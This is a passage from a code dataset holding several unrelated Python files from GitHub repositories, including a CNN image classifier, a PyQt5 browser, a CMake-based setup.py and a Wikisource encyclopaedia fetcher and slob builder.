test_datastore.vm_count > 0:\n        test_datastore.delete_all_attached_vms()\n\n    test_datastore.delete(cancel=False)\n    wait_for(lambda: not test_datastore.exists,\n             delay=20,\n             timeout=1200,\n             message=\"Wait datastore to disappear\",\n             fail_func=test_datastore.browser.refresh)\n\n    provider.refresh_provider_relationships()\n    wait_for(lambda: test_datastore.exists,\n             delay=20,\n             timeout=1200,\n             message=\"Wait datastore to appear\",\n             fail_func=test_datastore.browser.refresh)\n\n\ndef test_delete_cluster_from_table(provider, appliance):\n    \"\"\" Tests delete cluster from table\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        initialEstimate: 1/4h\n        casecomponent: WebUI\n    \"\"\"\n    cluster_col = appliance.collections.clusters.filter({\"provider\": provider})\n    cluster1 = cluster_col.all()[0]\n    cluster_col.delete(cluster1)\n","repo_name":"ManageIQ/integration_tests","sub_path":"cfme/tests/infrastructure/test_delete_infra_object.py","file_name":"test_delete_infra_object.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"77"}
+{"seq_id":"21168564233","text":"import os\r\nimport glob\r\nimport pickle\r\nimport random\r\nimport numpy as np\r\nimport imageio\r\nimport torch\r\nimport torch.utils.data as data\r\n\r\nclass SRDataset(data.Dataset):\r\n  def __init__(self, datapath, name='', train=True) -> None:\r\n      self.split = \"TRAIN\" if train else \"TEST\"\r\n      self.name = name\r\n      self.train = train\r\n      self.datapath = datapath\r\n      self.scales = [2,3,4,8]\r\n\r\n      self._set_filesystem()\r\n\r\n      hrimages, lrimages = self._scan()\r\n\r\n      \r\n\r\n  def _set_filesystem(self):\r\n    self.apath = os.path.join(self.datapath, self.name)\r\n    self.hrdir = os.path.join(self.apath, '/HR')\r\n    self.lrdir = os.path.join(self.apath, '/LR')\r\n\r\n  def _scan(self):\r\n    hrnames = sorted(glob.glob(os.path.join(self.hrdir, \"*\")))\r\n    lrnames = [[] for _ in self.scales]\r\n    for si, s in enumerate(self.scales):\r\n      for f in hrnames:\r\n        image,_ = os.path.splitext(os.path.basename(f))[0].split('x')\r\n        lrnames[si].append(os.path.join(self.lrdir, '{}x{}.png'.format(image, s)))\r\n    return hrnames, lrnames\r\n","repo_name":"Ampiria/ImageSuperResolution","sub_path":"data/srdataset.py","file_name":"srdataset.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22456165123","text":"########CNN with TFLearn (PIL for Image processing)¶\r\n\r\nfrom PIL import Image\r\n##support for opening, manipulating, and saving many different image file formats\r\n\r\nimport numpy as np\r\nimport os\r\nfrom random import shuffle\r\nfrom tqdm import tqdm\r\nimport matplotlib.pyplot as plt\r\n\r\nimport tflearn\r\nfrom tflearn.layers.core import input_data, dropout, fully_connected\r\nfrom tflearn.layers.estimator import regression\r\n\r\nimport tensorflow as tf\r\n# tf.reset_default_graph()\r\ntf.compat.v1.get_default_graph()\r\nprint(tf.compat.v1.get_default_graph())\r\n\r\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\r\n# import pickle\r\n\r\nTRAIN_DIR = './DATASET/TRAIN-DATA'\r\nTEST_DIR = './DATASET/TEST-DATA'\r\n\r\nIMG_SIZE = 120\r\nLR = 1e-3\r\n#n_epoch = 2\r\n# def label_img(img):\r\n#     word_label = img.split('_')[0]\r\n#     if word_label == 'HIGH':\r\n#         return [1, 0]  # one hot encoding\r\n#     elif word_label == 'LOW':\r\n#         return [0, 1]  # one hot encoding\r\n#     elif word_label == 'VERY_HIGH':\r\n#         return [0, 0]\r\n\r\n# def label_img(img):\r\n#     word_label = img.split('_')[0]\r\n#     if word_label == 'HIGH':\r\n#         return [0, 0, 0, 1, 0]  \r\n#     elif word_label == 'LOW':\r\n#         return [0, 1, 0, 0, 0] \r\n#     elif word_label == 'VHIGH':\r\n#         return [0, 0, 0, 0, 1]  \r\n#     elif word_label == 'MEDIUM':\r\n#         return [0, 0, 1, 0, 0]  \r\n#     elif word_label == 'VLOW':\r\n#         return [1, 0, 0, 0, 0] \r\n\r\ndef create_train_data():\r\n    train_data = []\r\n    for img in tqdm(os.listdir(TRAIN_DIR)):\r\n        label = label_img(img)\r\n        path = os.path.join(TRAIN_DIR, img)\r\n        ############################################################\r\n        #    This part is different from sentdex's tutorial\r\n        # Chose to use PIL instead of cv2 for image pre-processing\r\n        ############################################################\r\n\r\n        img = Image.open(path)  # Read image syntax with PIL Library\r\n        img = img.convert('L')  # Grayscale conversion with PIL library\r\n        img = img.resize((IMG_SIZE, IMG_SIZE), Image.ANTIALIAS)  # Resizing image syntax with PIL Library\r\n\r\n        ############################################################\r\n\r\n        train_data.append([np.array(img), np.array(label)])\r\n    shuffle(train_data)\r\n    np.save('train_data.npy', train_data)  # .npy extension = numpy file\r\n    return train_data\r\n\r\ntrain_data = create_train_data()\r\nplt.imshow(train_data[43][0], cmap='gist_gray')\r\nprint(train_data[43][1])\r\n\r\ndef process_test_data():\r\n    test_data = []\r\n    for img in tqdm(os.listdir(TEST_DIR)):\r\n        path = os.path.join(TEST_DIR, img)\r\n        if \"DS_Store\" not in path:\r\n            img_num = img.split('_')[1]  # images are formatted 'HIGH_2', 'LOW_56'..\r\n\r\n#             # PIL LIBRARY instead of cv2\r\n#             img = Image.open(path)\r\n#             img = img.convert('L')\r\n#             img = img.resize((IMG_SIZE, IMG_SIZE), Image.ANTIALIAS)\r\n\r\n#             test_data.append([np.array(img), img_num])\r\n#     shuffle(test_data)\r\n#     np.save('test_data.npy', test_data)\r\n#     return test_data\r\n\r\n####### Define CNN (with layers)\r\n\r\nconvnet = input_data(shape=[None, IMG_SIZE, IMG_SIZE, 1], name='input')\r\n\r\nconvnet = conv_2d(convnet, 32, 5, activation='relu')\r\nconvnet = max_pool_2d(convnet, 5)\r\n\r\nconvnet = conv_2d(convnet, 64, 5, activation='relu')\r\nconvnet = max_pool_2d(convnet, 5)\r\n\r\nconvnet = conv_2d(convnet, 32, 5, activation='relu')\r\nconvnet = max_pool_2d(convnet, 5)\r\nconvnet = conv_2d(convnet, 64, 5, activation='relu')\r\nconvnet = max_pool_2d(convnet, 5)\r\nconvnet = conv_2d(convnet, 32, 5, activation='relu')\r\nconvnet = max_pool_2d(convnet, 5)\r\nconvnet = conv_2d(convnet, 64, 5, activation='relu')\r\nconvnet = max_pool_2d(convnet, 5)\r\n\r\nconvnet = fully_connected(convnet, 1024, activation='relu')\r\nconvnet = dropout(convnet, 0.8)\r\n\r\nconvnet = fully_connected(convnet, 5, activation='softmax')  # output\r\nconvnet = regression(convnet, optimizer='adam', learning_rate=LR, loss='categorical_crossentropy', name='targets')\r\n\r\nmodel = tflearn.DNN(convnet, tensorboard_verbose=3)\r\n\r\ntrain = train_data[-21600:]\r\ntest = train_data[:-21600]\r\n\r\n##Data preprocessing\r\n\r\nX = np.array([i[0] for i in train]).reshape(-1, IMG_SIZE, IMG_SIZE, 1)\r\nY = [i[1] for i in train]\r\n\r\ntest_x = np.array([i[0] for i in test]).reshape(-1, IMG_SIZE, IMG_SIZE, 1)\r\ntest_y = [i[1] for i in test]\r\n\r\nmodel.fit({'input': X}, {'targets': Y}, n_epoch=35, batch_size=64, validation_set=({'input': test_x}, {'targets': test_y}),\r\n          snapshot_step=500, show_metric=True, run_id='HIGH-LOW')\r\n\r\ntest_data = process_test_data()\r\nfig = plt.figure()\r\n\r\nfor num, data in enumerate(test_data[:12]):\r\n    img_num = data[1]\r\n    img_data = data[0]\r\n\r\n    y = fig.add_subplot(3, 4, num + 1)\r\n    orig = img_data\r\n    data = img_data.reshape(IMG_SIZE, IMG_SIZE, 1)\r\n    model_out = model.predict([data])[0]\r\n    print(model_out)\r\n    if np.argmax(model_out) == 1:\r\n        str_label = 'LOW'\r\n    elif np.argmax(model_out) == 2:\r\n        str_label = 'MEDIUM'\r\n    elif np.argmax(model_out) == 3:\r\n        str_label = 'VHIGH'\r\n    elif np.argmax(model_out) == 4:\r\n        str_label = 'HIGH'\r\n    else:\r\n        str_label = 'VLOW'\r\n\r\n    y.imshow(orig)\r\n    plt.title(str_label)\r\n    y.axes.get_xaxis().set_visible(False)\r\n    y.axes.get_yaxis().set_visible(False)\r\n    plt.savefig(\"images/density.png\")\r\nplt.show()\r\n\r\n# , cmap='gray'\r\n\r\n","repo_name":"romanbhuiyan/Code-and-Hajj-Crowd-dataset-2021","sub_path":"Classification.py","file_name":"Classification.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"29448548439","text":"class Fracción:\n    def __init__(self, numerador, denominador):\n        self.numerador = numerador\n        self.denominador = denominador\n\n    def simplificar(self):\n        mcd = self.calcular_mcd(self.numerador, self.denominador)\n        self.numerador //= mcd\n        self.denominador //= mcd\n\n    def calcular_mcd(self, a, b):\n        while b != 0:\n            a, b = b, a % b\n        return a\n\n    def sumar(self, otra_fraccion):\n        nuevo_numerador = self.numerador * otra_fraccion.denominador + otra_fraccion.numerador * self.denominador\n        nuevo_denominador = self.denominador * otra_fraccion.denominador\n        resultado = Fracción(nuevo_numerador, nuevo_denominador)\n        resultado.simplificar()\n        return resultado\n\n    def restar(self, otra_fraccion):\n        nuevo_numerador = self.numerador * otra_fraccion.denominador - otra_fraccion.numerador * self.denominador\n        nuevo_denominador = self.denominador * otra_fraccion.denominador\n        resultado = Fracción(nuevo_numerador, nuevo_denominador)\n        resultado.simplificar()\n        return resultado\n\n    def dividir(self, otra_fraccion):\n        nuevo_numerador = self.numerador * otra_fraccion.denominador\n        nuevo_denominador = self.denominador * otra_fraccion.numerador\n        resultado = Fracción(nuevo_numerador, nuevo_denominador)\n        resultado.simplificar()\n        return resultado\n\n\n# Ejemplo de uso\nfraccion1 = Fracción(3, 4)\nfraccion2 = Fracción(1, 2)\n\nresultado_suma = fraccion1.sumar(fraccion2)\nprint(f\"Suma: {resultado_suma.numerador}/{resultado_suma.denominador}\")\n\nresultado_resta = fraccion1.restar(fraccion2)\nprint(f\"Resta: {resultado_resta.numerador}/{resultado_resta.denominador}\")\n\nresultado_division = fraccion1.dividir(fraccion2)\nprint(f\"División: {resultado_division.numerador}/{resultado_division.denominador}\")\n","repo_name":"pabloschwarzenberg/grader","sub_path":"tema3_ej4/tema3_ej4_0efe3d93feb6175300badf9df4e5b0ac.py","file_name":"tema3_ej4_0efe3d93feb6175300badf9df4e5b0ac.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36272276773","text":"import sys\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtWebEngineWidgets import *\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super(MainWindow, self).__init__()\n        self.browser = QWebEngineView()\n        self.browser.setUrl(QUrl('https://google.com'))\n        self.setCentralWidget(self.browser)\n        self.showMaximized()\n\n        # Navigation bar\n        navbar = QToolBar()\n        self.addToolBar(navbar)\n\n        # Home bottom\n        home_btn = QAction('Home', self)\n        home_btn.triggered.connect(self.navigate_home)\n        navbar.addAction(home_btn)\n\n        # Back bottom\n        back_btn = QAction('<<Back', self)\n        back_btn.triggered.connect(self.browser.back)\n        navbar.addAction(back_btn)\n\n        # forward bottom (frd)\n        frd_btn = QAction('Forward>>', self)\n        frd_btn.triggered.connect(self.browser.forward)\n        navbar.addAction(frd_btn)\n\n        # Reload bottom (rld)\n        rld_btn = QAction('Reload', self)\n        rld_btn.triggered.connect(self.browser.reload)\n        navbar.addAction(rld_btn)\n\n        # Add url bar\n        self.url_bar = QLineEdit()\n        self.url_bar.returnPressed.connect(self.navigate_to_url)\n        navbar.addWidget(self.url_bar)\n\n        self.browser.urlChanged.connect(self.update_url)\n\n    # Home method\n    def navigate_home(self):\n        self.browser.setUrl(QUrl('https://www.google.com'))\n\n    # search bar method\n    def navigate_to_url(self):\n        url = self.url_bar.text()\n        self.browser.setUrl(QUrl(url))\n\n    # url update method\n    def update_url(self, g):\n        self.url_bar.setText(g.toString())\n\n\napp = QApplication(sys.argv)\nQApplication.setApplicationName('Jamiu Personal Browser')\nwindow = MainWindow()\napp.exec_()\n","repo_name":"JamiuShaibu/build_personal_browser","sub_path":"browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24992778591","text":"import os\nimport re\nimport sys\nimport subprocess\n\nfrom setuptools import setup, Extension\nfrom setuptools.command.build_ext import build_ext\nfrom distutils.version import LooseVersion\n\n\n# Get version number information\nbase_path = os.path.dirname(os.path.realpath(__file__))\nfile_path = os.path.join( base_path, 'MDI_Library', 'mdi_global.h' )\nfound_major_version = False\nfound_minor_version = False\nfound_patch_version = False\nwith open( file_path ) as mdi_file:\n    line = mdi_file.readline()\n    while line and ( not found_major_version or not found_minor_version or not found_patch_version ):\n        print(\"line: \" + str(line) )\n        sline = line.split()\n        if line.startswith( '#define MDI_MAJOR_VERSION_ ' ):\n            major_version = sline[2]\n            found_major_version = True\n        elif line.startswith( '#define MDI_MINOR_VERSION_ ' ):\n            minor_version = sline[2]\n            found_minor_version = True\n        elif line.startswith( '#define MDI_PATCH_VERSION_ ' ):\n            patch_version = sline[2]\n            found_patch_version = True\n        line = mdi_file.readline()\nif not found_major_version or not found_minor_version or not found_patch_version:\n    raise RuntimeError(\"Unable to identify package version number\")\nmdi_version = major_version + '.' + minor_version + '.' + patch_version\n\n\nclass CMakeExtension(Extension):\n    def __init__(self, name, source_dir=''):\n        Extension.__init__(self, name, sources=[])\n        self.source_dir = os.path.abspath(source_dir)\n\n\nclass CMakeBuild(build_ext):\n    def run(self):\n\n        # Verify that CMake >= 3.5.0 is available\n        try:\n            version = subprocess.check_output(['cmake', '--version'])\n        except OSError:\n            raise RuntimeError(\"CMake is required for the following extensions: \" +\n                               \", \".join(e.name for e in self.extensions))\n        cmake_version = LooseVersion(re.search(r'version\\s*([\\d.]+)', version.decode()).group(1))\n        if cmake_version < '3.5.0':\n            raise RuntimeError(\"CMake >= 3.5.0 is required for the following extensions: \" +\n                               \", \".join(e.name for e in self.extensions))\n\n        # Build all CMake extensions\n        for ext in self.extensions:\n            self.build_extension(ext)\n\n    def build_extension(self, ext):\n        # Get build directory\n        ext_dir = os.path.abspath(os.path.dirname(self.get_ext_fullpath(ext.name)))\n        if not ext_dir.endswith(os.path.sep):\n            ext_dir += os.path.sep\n        install_dir = os.path.join( ext_dir, \"mdi\" )\n\n        # Set CMake arguments\n        cmake_args = ['-DCMAKE_INSTALL_PREFIX=' + install_dir,\n                      '-DCMAKE_INSTALL_INCLUDEDIR=' + ext_dir,\n                      '-DCMAKE_INSTALL_LIBDIR=' + ext_dir,\n                      '-DPYTHON_EXECUTABLE=' + sys.executable]\n\n        # Do the CMake install\n        if not os.path.exists(self.build_temp):\n            os.makedirs(self.build_temp)\n        subprocess.check_call( ['cmake', ext.source_dir] + cmake_args,\n                               cwd=self.build_temp)\n        subprocess.check_call( ['cmake', '--build', '.'],\n                               cwd=self.build_temp)\n        subprocess.check_call( ['cmake', '--install', '.', '--prefix', install_dir],\n                               cwd=self.build_temp)\n\n\nsetup(\n    name='pymdi',\n    version=mdi_version,\n    description='A library that enables code interoperability via the MolSSI Driver Interface.',\n    long_description='',\n    url='https://github.com/MolSSI-MDI/MDI_Library',\n    author='Taylor Barnes',\n    author_email='info@molssi.org',\n    license='BSD 3-clause',\n    packages=['mdi'],\n    package_dir={'mdi': 'MDI_Library'},\n    ext_modules=[CMakeExtension('mdi')],\n    cmdclass=dict(build_ext=CMakeBuild),\n    install_requires=[],\n    classifiers=[\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 3.4',\n        'Programming Language :: Python :: 3.5',\n        'Programming Language :: Python :: 3.7',\n        ],\n    )\n","repo_name":"MolSSI-MDI/MDI_NEB_Driver","sub_path":"lib/mdi/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"5710422854","text":"def check(n):\n    if n == 6:\n        return 1\n    elif n == 5:\n        return 2\n    elif n == 4:\n        return 3\n    elif n == 3:\n        return 4\n    elif n == 2:\n        return 5\n    else:\n        return 6\n\n\ndef solution(lottos, win_nums):\n    remain = 6\n    for k in lottos:\n        if k in win_nums:\n            remain -= 1\n    correct = 6 - remain\n\n    zero = lottos.count(0)\n\n    if zero >= remain:\n        best = correct + remain\n    else:\n        best = zero + correct\n\n    answer = [check(best), check(correct)]\n    return answer\n\n\nprint(solution([1, 2, 0, 0, 5, 6], [5, 6, 7, 8, 9, 10]))","repo_name":"Google-Developer-Student-Club-Hanyang/Algorithm-1-","sub_path":"김정희/Lv.1/로또/lotto.py","file_name":"lotto.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"74465576248","text":"#!/usr/bin/env python3\n\"\"\"\nTool for creating/updating offline (slob) copies of the 1911 Encyclopædia\nBritannica from Wikisource.\n\nShould be used from the command line. Examples:\n\n1. Create slob:\n\n$ ./eb1911.py slob -n -i entries/all.json -o eb1911.slob\n\n2. Fetch all missing pages (normalized)\n\n$ ./eb1911.py fetch -m -n --titles @list2.txt -i data/all.json.bz -o /tmp/all.json -n\n\n3. Fetch a list of pages:\n\n$ ./eb1911.py list -o entrylist.txt\n\n4. Normalize content:\n\n$ ./eb1911.py normalize -i entries/all.json -o entries/normalized.json\n\"\"\"\n\nimport os\nimport re\nimport sys\nfrom typing import Dict, List\nfrom bs4 import BeautifulSoup\nfrom bs4.element import Comment\nimport mwclient\nimport argparse\nimport orjson as json\nimport slob\nimport itertools\nfrom datetime import datetime\nimport os.path\n\nUA = 'EB1911/0.1.0 (dcampos@github/eb1911)'\nPREFIX = '1911 Encyclopædia Britannica'\nHTML_TEXT = 'text/html; charset=utf-8'\nTITLE = '1911 Encyclopædia Britannica'\nLICENSE_NAME = 'Creative Commons Attribution-Share Alike 3.0'\nLICENSE_URL = 'https://creativecommons.org/licenses/by-sa/3.0/'\nSOURCE = 'https://en.wikisource.org/wiki/1911_Encyclop%C3%A6dia_Britannica'\nURI = 'https://en.wikisource.org/wiki/1911_Encyclop%C3%A6dia_Britannica'\nDESCRIPTION = TITLE\nCSS_LINKS = (\n    '<link rel=\"stylesheet\" href=\"~/css/site.styles.css\" type=\"text/css\">'\n    '<link rel=\"stylesheet\" href=\"~/css/ext.gadget.css\" type=\"text/css\">'\n    '<link rel=\"stylesheet\" href=\"~/css/custom.css\" type=\"text/css\">'\n)\n\ndef show_progress(pat, i, num_entries=None):\n    percent = i / num_entries\n    fill = '=' * int(percent * 20)\n    if i < num_entries and fill:\n        fill = fill[:-1] + '>'\n    bar = ' [' + fill + ('·' *  (20 - len(fill))) + '] {}%'.format(round(percent * 100))\n    print(pat.format(i, num_entries) + bar, end='\\r', file=sys.stderr)\n\ndef observer(event):\n    if event[0] == 'begin_sort':\n        print(f'Sorting...')\n    elif event[0] == 'begin_resolve_aliases':\n        print(f'Resolving aliases...')\n    elif event[0] == 'begin_move':\n        print(f'Moving {event[1]}...')\n\n\nclass Fetcher:\n\n    def __init__(self, in_file=None, out_file=None, progress=True):\n        self.site = mwclient.Site('en.wikisource.org', clients_useragent=UA)\n        self.in_file = in_file\n        self.out_file = out_file\n        self.progress = progress\n\n    def output(self, func, count=None, pat='Processing {} of {}'):\n        i = 1\n        if self.out_file:\n            with open(self.out_file, 'w+') as out:\n                for entry in func():\n                    out.write(entry + '\\n')\n                    if count and self.progress:\n                        show_progress(pat, i, count)\n                    i += 1\n        else:\n            for entry in func():\n                print(entry)\n                i += 1\n\n    def read_timestamp(self) -> str:\n        if self.in_file:\n            mtime = os.path.getmtime(self.in_file)\n            dt = datetime.fromtimestamp(mtime)\n            return dt.strftime('%Y%m%d')\n        return ''\n\n    def read_input(self, start=0, limit=sys.maxsize):\n        if self.in_file:\n\n            if self.in_file.endswith('.json'):\n                file = open(self.in_file, 'r+')\n            elif self.in_file.endswith('.gz'):\n                import gzip\n                file = gzip.open(self.in_file, 'r')\n            else:\n                import bz2\n                file = bz2.BZ2File(self.in_file, 'r')\n\n            with file as lines:\n                for line in itertools.islice(lines, start, start + limit):\n                    yield line\n\n    def detect_range(self, data):\n        soup = BeautifulSoup(data['content'], 'html.parser')\n        volume = None\n        start = sys.maxsize\n        end = 0\n        for div in soup.find_all('span', {'class': 'pagenum'}):\n            try:\n                if 'data-page-name' in div:\n                    page_name = div['data-page-name']\n                elif 'title' in div:\n                    page_name = div['title']\n                else:\n                    # No way to detect the volume\n                    break\n                page_name = page_name.replace('_', ' ')\n                m = re.match(r'Page:EB1911 - Volume (\\d+).djvu/(\\d+)', page_name)\n                if m == None:\n                    break\n                if not volume:\n                    volume = int(m.group(1))\n                if 'data-page-index' in div:\n                    index = int(div['data-page-index'])\n                else:\n                    index = int(m.group(2))\n            except KeyError as e:\n                print(f'KeyError: {e} not found for page {data[\"page\"]}', file=sys.stderr)\n                break\n            start = min(start, index)\n            end = max(end, index)\n        else:\n            return (volume, start, end)\n        return (volume, None, None)\n\n    def range_changed(self, data, ranges):\n        volume, start, end = data['volume'], data['start'], data['end']\n        if volume not in ranges:\n            return False\n        try:\n            for i in range(start, end + 1):\n                if i in ranges[volume]:\n                    return True\n        except Exception as e:\n            print(e, file=sys.stderr)\n            sys.exit(-1)\n        return False\n\n    def detect_missing(self, entries):\n        found = []\n        for line in self.read_input():\n            data = json.loads(line)\n            found.append(data['page'])\n        missing = list(set(entries) - set(found))\n        return missing\n\n    def num_entries(self):\n        if self.in_file and self.in_file.endswith('.json'):\n            num_entries = sum(1 for _ in open(self.in_file))\n        else:\n            num_entries = None\n        return num_entries\n\n    def list_pages(self, prefix=PREFIX):\n        allpages = self.site.allpages(prefix=prefix)\n        def result():\n            for page in allpages:\n                yield page.page_title\n        self.output(result)\n\n    def fetch_page(self, title):\n        result = self.site.parse(page=title)\n        # print(json.dumps(result).decode('utf-8'))\n        return result\n\n    def get_latest_revision(self, title):\n        result = self.site.api('query', prop='revisions', titles=title, rvlimit=1, rvprop='ids')\n        pages = result[\"query\"][\"pages\"]\n        page = list(pages.values())[0]\n        return {\n            'pageid': page['pageid'],\n            'title': page['title'],\n            'revid': page['revisions'][0]['revid']\n        }\n\n    def list_changes(self, timestamp):\n        changes = self.site.recentchanges(\n            start=timestamp,\n            namespace='0|104',\n            toponly=1,\n            type=\"edit|new\",\n            dir=\"newer\",\n            show=\"!redirect|!anon|!bot\",\n        )\n        result = {}\n        ranges = {}\n        for change in changes:\n            # print(change)\n            title = change['title']\n            if title.startswith(PREFIX):\n                result[title] = change\n            elif title.startswith('Page:EB1911'):\n                print('Page updated:', title, file=sys.stderr)\n                m = re.match(r'Page:EB1911 - Volume (\\d+).djvu/(\\d+)', title)\n                volume = int(m.group(1))\n                index = int(m.group(2))\n                if volume not in ranges:\n                    ranges[volume] = []\n                ranges[volume].append(index)\n        return result, ranges\n\n    def update(self, start=0, limit=None, timestamp=None, normalize=False):\n        if not self.in_file:\n            raise Exception('Update requires an input file')\n        if not timestamp:\n            timestamp = self.read_timestamp()\n        timestamp = timestamp.ljust(14, '0')\n        changes, ranges = self.list_changes(timestamp)\n        num_entries = self.num_entries()\n        def result():\n            normalizer = Normalizer()\n            count = 0\n            updated = {}\n            for line in self.read_input(start, limit):\n                data = json.loads(line)\n                title = data['page']\n                if 'volume' not in data or 'start' not in data or 'end' not in data or data['volume'] == None or data['start'] == None or data['end'] == None:\n                    (volume, s, e) = self.detect_range(data)\n                    data['volume'] = volume\n                    data['start'] = s\n                    data['end'] = e\n                range_changed = self.range_changed(data, ranges)\n                page_changed = False\n                if title in changes:\n                    change = changes[title]\n                    if int(change['revid']) > int(data['revid']):\n                        page_changed = True\n                        data['revid'] = change['revid']\n                        data['pageid'] = change['pageid']\n                if page_changed or range_changed:\n                    count += 1\n                    if page_changed:\n                        print(f'Article updated: {title}', file=sys.stderr)\n                    else:\n                        print(f'Range updated: {title}', file=sys.stderr)\n                    result = self.fetch_page(title)\n                    data['content'] = result['text']['*']\n                    (volume, s, e) = self.detect_range(data)\n                    data['volume'] = volume\n                    data['start'] = s\n                    data['end'] = e\n                    updated[title] = True\n                    if normalize:\n                        data = normalizer.normalize(data)\n                yield json.dumps(data).decode('utf-8')\n\n            # Fetch missing pages\n            for change in changes.values():\n                title = change['title']\n                if title in updated or title.startswith('Page:'):\n                    continue\n                count += 1\n                if change['type'] == 'new':\n                    print(f'New page: {title}', file=sys.stderr)\n                else:\n                    print(f'Missing page: {title}', file=sys.stderr)\n                res = self.fetch_page(title)\n                page = {\n                    'page': res['title'],\n                    'pageid': res['pageid'],\n                    'revid': res['revid'],\n                    'content': res['text']['*']\n                }\n                if normalize:\n                    page = normalizer.normalize(page)\n                yield json.dumps(page).decode('utf-8')\n\n            if count == 0:\n                print('Already up-to-date')\n\n        self.output(result, num_entries)\n\n    def fetch(self, titles, missing=False, normalize=True):\n        if not titles:\n            raise Exception('Fetch requires a list of titles')\n\n        entries = []\n\n        if titles.startswith('@'):\n            # Read file containing titles\n            fname = titles[1:]\n            with open(fname, 'r+') as lines:\n                for line in lines:\n                    entries.append(line[:-1])\n        else:\n            entries = titles.split('|')\n\n        if missing:\n            if not self.in_file:\n                raise Exception('Fetch missing requires an input file')\n            entries = self.detect_missing(entries)\n            print(f'Missing entries:', file=sys.stderr)\n            print('\\n'.join(entries), file=sys.stderr)\n\n        normalizer = Normalizer()\n\n        def result():\n            for entry in entries:\n                res = self.fetch_page(entry)\n                page = {\n                    'page': res['title'],\n                    'pageid': res['pageid'],\n                    'revid': res['revid'],\n                    'content': res['text']['*']\n                }\n                if normalize:\n                    page = normalizer.normalize(page)\n                (volume, s, e) = self.detect_range(page)\n                # print(volume)\n                page['volume'] = volume\n                page['start'] = s\n                page['end'] = e\n                yield json.dumps(page).decode('utf-8')\n        self.output(result, len(entries), 'Fetching {} of {}')\n\n    def prepare_entries(self):\n        dictionary = []\n        seen = {}\n        count = 0\n        ignored = 0\n        duplicated = 0\n        for line in self.read_input():\n            count += 1\n            if self.progress:\n                print(f'Reading entry {count}', end='\\r')\n            headwords = []\n            data = json.loads(line)\n            html = data['content']\n            title = data['page'] #.split('/', 1)[1]\n            # Remove prefix\n            if title.startswith(PREFIX + '/'):\n                title = title.split('/', 1)[1]\n            else:\n                # Ignore wrongly named pages\n                print(f'*** Ignoring page {title}')\n                ignored += 1\n                continue\n            if title in seen:\n                print(f'*** Duplicate entry: {title}')\n                duplicated += 1\n                continue\n            # if args.aard2:\n            # html = re.sub('\"gdlookup://localhost/(.*?)\"', replace_link(page), html)\n            # print(page)\n            seen[title] = True\n            headwords.append(title)\n            dictionary.append((headwords, html))\n\n        print()\n        print(f'Total:      {count}')\n        print(f'Ignored:    {ignored}')\n        print(f'Duplicated: {duplicated}')\n        return dictionary\n\n    def write_slob(self, goldendict=False):\n        dictionary = self.prepare_entries()\n\n        if not self.out_file:\n            raise Exception('No output file defined')\n\n        if os.path.exists(self.out_file):\n            print(f'Output file {self.out_file} file already exists!')\n            sys.exit(-1)\n\n        with slob.create(self.out_file, min_bin_size=512*1024, observer=observer) as s:\n            num_entries = len(dictionary)\n            if not goldendict:\n                print('Note: goldendict compatibility not set')\n            for i, entry in enumerate(dictionary, 1):\n                # percent = round(i / num_entries * 100)\n                # print(f\"Adding {i} of {num_entries} ({percent}%)\", end='\\r')\n                content = entry[1]\n                if goldendict:\n                    content = re.sub('href=\\\"((?!(http|/|#)).*?)\\\"', r'href=\"gdlookup://localhost/\\1\"', content)\n                content = CSS_LINKS + content\n                if self.progress:\n                    show_progress(\"Adding {} of {}\", i, num_entries)\n                s.add(content.encode('utf-8'), *entry[0], content_type=HTML_TEXT)\n            include_types = {\"js\", \"css\", \"images\"}\n            include_path = os.path.join(os.path.dirname(__file__), 'include')\n            slob.add_dir(s, include_path, prefix='~/', include_only=include_types)\n            # with open('playsound.png', 'rb') as png:\n            #     data = png.read()\n            #     s.add(data, 'playsound.png', 'image/png')\n            s.tag('label', TITLE)\n            s.tag('license.url', LICENSE_URL)\n            s.tag('license.name', LICENSE_NAME)\n            s.tag('source', SOURCE)\n            s.tag('uri', URI)\n            print('\\n==> Finishing slob...')\n\n    def normalize(self):\n        if not self.in_file:\n            raise Exception('Normalize requires an input file')\n        normalizer = Normalizer()\n        num_entries = self.num_entries()\n        def result():\n            for line in self.read_input():\n                data = json.loads(line)\n                # print(data)\n                data = normalizer.normalize(data)\n                yield json.dumps(data).decode('utf-8')\n        self.output(result, num_entries)\n\n\nclass Normalizer:\n\n    def __init__(self):\n        pass\n\n    def normalize_ref(self, value):\n        article = value.group(1)\n        article = article.replace('_', '%20')\n        article = article.replace('/', '%2F')\n        return f'href=\\\"{article}\\\"'\n\n    def fix_links(self, content):\n        # Internal references\n        content = re.sub('href=\\\"/wiki/1911_Encyclop%C3%A6dia_Britannica/(.*?)\\\"', self.normalize_ref, content)\n        # Other pages\n        content = re.sub('href=\\\"/wiki/', 'href=\\\"https://en.wikisource.org/wiki/', content)\n        # /w/ special image source\n        content = re.sub('src=\\\"/w/', 'src=\\\"https://en.wikisource.org/w/', content)\n        # Wikisource links, etc.\n        content = re.sub('href=\\\"((?!(http|/|#)).*?)\\\"', self.normalize_ref, content)\n        return content\n\n    def fix_imgs(self, content):\n        content = re.sub('src=\\\"//', 'src=\\\"https://', content)\n        return content\n\n    def clean_html(self, content):\n        soup 